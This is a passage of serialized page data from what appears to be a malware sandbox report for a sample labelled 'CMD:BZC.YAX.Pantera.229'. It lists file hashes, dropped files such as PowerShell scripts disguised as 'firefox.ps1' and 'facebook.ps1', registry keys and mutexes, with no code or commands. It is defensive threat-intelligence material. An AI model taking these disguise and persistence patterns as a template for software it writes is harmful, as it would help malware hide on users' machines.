64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"hcjefsh2.0.cs","sha256":"a55427c14a5783dc78839ada98376ae59f7a6a68b394f2e6ffcbd2b3c2eea3e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"hcjefsh2.out","sha256":"3e9c532c0d6b47abd6e584d6e2d84314b7caeb0192e32db2db6a4e20b2bcf087","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_a1vu3pd2.aat.ps1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qh1klm4a.ae2.psm1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%APPDATA%\\firefox.ps1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_c4tx1jzi.t22.ps1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_wtgpzhid.iav.psm1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\CloudStore\\facebook.ps1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"path":"%TEMP%\\hcjefsh2\\hcjefsh2.out","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6444:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6444:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6444:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6444:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:6444:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:6444:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:6444:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:6444:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:5528:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:5528:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5528:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5528:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"Local\\SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]}]}},"report_ids":{"sandbox_job_ids":["69c605ac425fdab676032d9f"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious CMD:BZC.YAX.Pantera.229 Sample 2df24d850d6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2df24d850d6a…. Malware family: CMD:BZC.YAX.Pantera.229. Threat score 100/100. 8/25 AV engines flagged this file. 8 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e"}],["$","meta","4",{"property":"og:title","content":"Malicious CMD:BZC.YAX.Pantera.229 Sample 2df24d850d6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2df24d850d6a…. Malware family: CMD:BZC.YAX.Pantera.229. Threat score 100/100. 8/25 AV engines flagged this file. 8 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious CMD:BZC.YAX.Pantera.229 Sample 2df24d850d6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2df24d850d6a…. Malware family: CMD:BZC.YAX.Pantera.229. Threat score 100/100. 8/25 AV engines flagged this file. 8 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5a","11",{}]]